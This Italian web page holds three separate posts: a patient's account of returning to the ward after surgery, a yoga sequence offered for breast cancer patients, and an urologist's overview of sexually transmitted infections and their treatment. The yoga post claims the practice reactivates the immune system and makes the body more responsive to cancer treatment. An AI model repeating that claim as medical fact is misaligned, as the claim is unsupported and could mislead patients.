L'uomo in camice scuro mi dà una specie di caramella, mi spiega che è l'unica cosa che potrò mangiare per un po’ e che è meglio evitare di ingoiarla subito. Tossisco, non avverto dolore, sarà contento l'anestesista che non mi aveva raccomandato altro. I miei bronchi sono stati invasi da ossigeno tramite tubi mentre mi operavano e questo ha seccato cavità di solito umide, da qui lo stimolo a tossire. Ovviamente la caramella (qualsiasi cosa fosse) la ingoio appena tossisco. Arriva l'altro anestesista, quello più anziano, mi dice che sto per tornare in stanza. Il mio è un intervento con poca perdita di sangue, tra una mezz'ora sarò nel mio letto. L'uomo in camice scuro controlla la ferita. Va tutto bene ma segna con un pennarello sul cerotto una zona un po’ umida, nulla di grave.
Torna l'infermiere per riportarmi su, vedo anche il primario mi saluta, mi chiede come sto. Quest'uomo ha fatto oltre 3000 interventi come primo operatore, il tipo di intervento che ha fatto a me pare lo faccia solo lui in tutta Italia. Ha detto di aver visto mia madre, l'ha tranquillizzata, gli mostro il segno col pennarello sul cerotto quando mi chiede come sto. Fa un gesto come a dire: “Dai, su che non è nulla di grave, qua c'è gente che sta male sul serio”, sorrido e assieme al mio traghettatore torno in reparto.
Mia madre è lì ad aspettare seduta nell'anticamera del reparto. Appena mi vede fa uno scatto impressionante per raggiungermi. L'infermiere le dice che viene lui non c'è bisogno che lei si alzi. Alla fine è gentile il mio Caronte.
Cerco una battuta per farla sorridere un po’ le dico: “Ci sei pure tu qui?” decisamente una battuta fiacca anche perché pensa sia ancora rintronato dall'anestesia quando invece sono lucido.
Torno nella mia stanza assieme agli altri 3 pazienti. Mi rimettono a letto. Sto bene. Ora viene il difficile: riprendere a vivere.
È andato tutto bene. Ora serve la forza e soprattutto il coraggio per rialzarsi.
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ciaoyoga · 7 years
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Yoga per il cancro al seno!
Ottobre é il mese della Prevenzione del Cancro al Seno, per questo di seguito troverai una sequenza adatta a tutti i livelli e che mira a riattivare il nostro sistema immunitario, lavorando in particolar modo su alcuni punti di stimolazione dei linfonodi. Questo tutorial vuole essere un valido supporto per tutte le persone affette da questo tipo di tumore, permettendo di capire più da vicino come effettivamente lo yoga può aiutare sia in fase di cura che riabilitazione ad aprire e fortificare gradualmente tutto il nostro corpo, rendendolo più attivo e reattivo sia alle cure che ai processi di guarigione. 
Il movimento dolce e graduale degli asana (le posizioni yoga) richiede a sua volta una particolare attenzione da parte di mente e spirito che ne risultano così gradualmente più alleggeriti e liberati. Questa pratica può essere effettuata in qualsiasi momento della giornata: al mattino per sentirci più ricaricati o alla sera per distendere il nostro corpo prima di andare a dormire. E’ importante ascoltare bene le nostre sensazioni e in caso di periodi post operatori non esagerare con le estensioni delle braccia o le posizioni che richiedono un pochino più di forza. Se il corpo richiede riposo, riposiamoci o al limite effettuiamo solo i primi tre esercizi di respirazione: non è la quantità ma è la qualità e lo spirito della tua pratica a renderla il più possibile funzionale e “curativa” per te!
youtube
Io spero veramente che questo video ti piaccia e ti sia di aiuto, se hai qualsiasi richiesta, domanda o dubbio non esitare a lasciare un commento qui sotto o su youtube sarò felice di poterti essere di aiuto. Puoi terminare la pratica con un tempo di rilassamento molto più lungo e se vuoi puoi seguire uno dei miei rilassamenti guidati che trovi qui: https://www.youtube.com/watch?v=GGvVUpLy_Fg&list=PLSYUn7x2wOmyiZbT3Fe8Sxhc4CbOxMF3D.
Ti ricordo infine che grazie a diverse campagne di sensibilizzazione è possibile per tutto il mese di Ottobre effettuare visite senologiche gratuite in tutta Italia (trovi tutte le info qui http://www.legatumoribologna.it/news/nastro-rosa), la prevenzione è senza ombra di dubbio il nostro primo passo per sconfiggere più facilmente questo tipo di tumore purtroppo sempre più diffuso!!
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Malattie sessualmente trasmesse di interesse Urologico
Le malattie trasmesse sessualmente (acronimo:MTS) costituisco un importante problema di salute pubblica tanto è vero che l’OMS le ha inserite tra le priorità da affrontare nel prossimo futuro. Sono in continuo aumento specie tra i giovani dai 14 ai 25 anni. Darò meno dati numerici possibile, intanto lasciano il tempo che trovano. Non tutte le MTS interessano principalmente o come prima manifestazione l’apparato genitale maschile (esterno ed interno). Io mi occuperò, come urologo, solo di quelle che lo interessano(e sono molte). Un virus che causa una delle più pericolose MTS è l’HIV. Come noto non tutte le infezioni da HIV si trasformano in sindrome clinica (AIDS). Il numero di soggetti contagiati in Italia è ancora elevato (4000 nuovi casi all’anno) anche se raramente dà come prima manifestazione un interessamento dei genitali esterni maschili (lo può fare con piccole ulcere che possono mimare la sifilide). Però le comuni malattie sessualmente trasmesse possono esporre chi ne è affetto ad un rischio molto maggiore (fino a 6-7 volte di più) di contrarre infezione da HIV dopo rapporto con persona infetta da tale virus. In altre parole, chi è affetto per esempio da Clamidia o HPV genitale ha un rischio molto più elevato di contrarre infezione da HIV durante un rapporto con una persona infetta (anche e soprattutto se inconsapevole di esserlo). Non sempre ma in alcuni casi le MTS, se non curate, possono dare danni irreversibili specie sulla fertilità causando epididimiti (infezione del “tubicino” che porta gli spermatozoi dal testicolo all’uretra per essere emessi insieme al liquido seminale, prodotto dalla prostata, come sperma). Per questo è sempre raccomandato l’uso del preservativo nei rapporti in cui non si è sicuri del/della partner. Entriamo nel particolare: -SIFILIDE (causata da batterio detto Treponema Pallidum). Rapporto sessuale (vaginale, orale, anale). Segni e sintomi: Si verificano da una settimana a 3 mesi dopo il contagio. La lesione classica è l’ulcera sul pene con associata presenza di linfonodi inguinali ingranditi. Successivamente può diffondersi ad altri organi (palmi delle mani e piante dei piedi sotto forma di eruzioni cutanee diffuse spesso non pruriginose). Nello stadio successivo la malattia si può estendere a cuore, cervello, ossa e altri organi causando gravi danni, la cosiddetta sifilide terziaria, per fortuna molto rara ai giorni nostri. Diagnosi: Storia di rapporti a rischio, clinica, con esami del sangue, tamponi o biopsia della lesione ulcerata. Terapia: antibiotica (ed è curabile specie se riconosciuta precocemente).  Terapia da somministrare anche alla/al partner. Raramente anche l’HIV si può manifestare con un’ulcera sul pene ed è quindi importante fare diagnosi differenziale (anche con dermatologo, infettivologo) CLAMIDIA (batterio)molto frequente. Spesso asintomatico (circa 50%).  Sintomi e segni: secrezioni biancastre/trasparenti a differenza di quelle da gonorrea che sono francamente purulente. Prurito, bruciore minzionale. Può causare epididimite. Diagnosi: clinica e mediante tampone sulla secrezione. Con nuovi metodi anche diagnosi su urina. La terapia è antibiotica. Terapia da somministrare anche alla/al partner Alto rischio di contrarre infezione da HIV se rapporto con persona infetta Neisseria Gonoree o GONORREA (batterio detto gonococco). Sintomi: secrezioni purulente, prurito, bruciore minzionale. Può essere associato a mal di gola. Diagnosi clinica e con tampone uretrale. La terapia è antibiotica. Terapia da somministrare anche alla/al partner. UREAPLASMA Urealyticum (batterio della famiglia dei micoplasmi) Diagnosi clinica difficile: 30 % asintomatici. A volte secrezione uretrale filamentosa chiara. Prurito. Terapia: antibiotica. TRICHOMONAS (protozoo). Specie rapporti vaginali. Sintomi nell’uomo scarsi. Può pero dare epididimiti e correlare con la fertilità Diagnosi. Clinica è difficile. Tampone. Terapia: antibiotico. HERPES Genitale (Virus) Diagnosi: Clinica (presenza di vescicole trasparenti all’inizio sul glande-pene-prepuzio che possono prudere. Si possono trasformare in ulcere e lasciare poi crosticine diffuse).  Massimo contagio con vescicole o ulcere ma può avvenire anche senza lesioni della mucosa (lo strato esterno di bocca, vagina e ano). Di solito non lasciano conseguenze significative Terapia: non si guarisce (tende a tornare con l’abbassamento delle difese immunitarie) ma si possono curare i sintomi con farmaci antivirali. Evitare rapporti sessuali con persone infette e lavarsi le mani se si è toccato la lesione. HPV (virus). Sono le più frequente delle MTS. Si manifestano sui genitali esterni maschili come escrescenze non pruriginose (condilomi). Si possono diffondere sulla zona perianale. Pericoloso per la donna perché fattore di rischio accertato del tumore del collo uterino.  Fattore di rischio per tumore del pene esiste anche se raro. Esiste vaccino anche per l’uomo ma non viene utilizzato. Terapia: asportazione della lesione tramite diatermocoagulazione (DTC), laser etc. Alto rischio di infezione da HIV se contatto con partner infetto. CANDIDA (fungo) molto frequenti. Diagnosi: clinica (zone arrossate non rilevate specie sul glande e sul meato uretrale esterno). Fattori di rischio: alcol, troppi dolci, diabete, lavarsi troppo o troppo poco. Per queste ragioni si può manifestare Anche al di fuori dell’attività sessuale. Terapia: prima locale con antifungini, poi orale se necessario. Fanno parte delle MTS anche le epatiti (A-B-C), ma non le ho descritte perché non interessano di fatto l’urologo. Concludendo: non bisogna spaventarsi, ma prestare attenzione nei rapporti a rischio specie per la loro correlazione con l’aumentato rischio di infezione da HIV. A proposito ricordo che esiste la “pillola del giorno prima” se rapporto consapevole con persona affetta da HIV con rischio quasi azzerato di infezione e la “pillola del giorno dopo” dopo rapporto a rischio di infezione da HIV. Sono prescrivibili però solo dal medico infettivologo. Per le MTS la cura c’è e spesso efficace. L’uso del preservativo risulta quindi fondamentale.  http://dlvr.it/QqqQ3b
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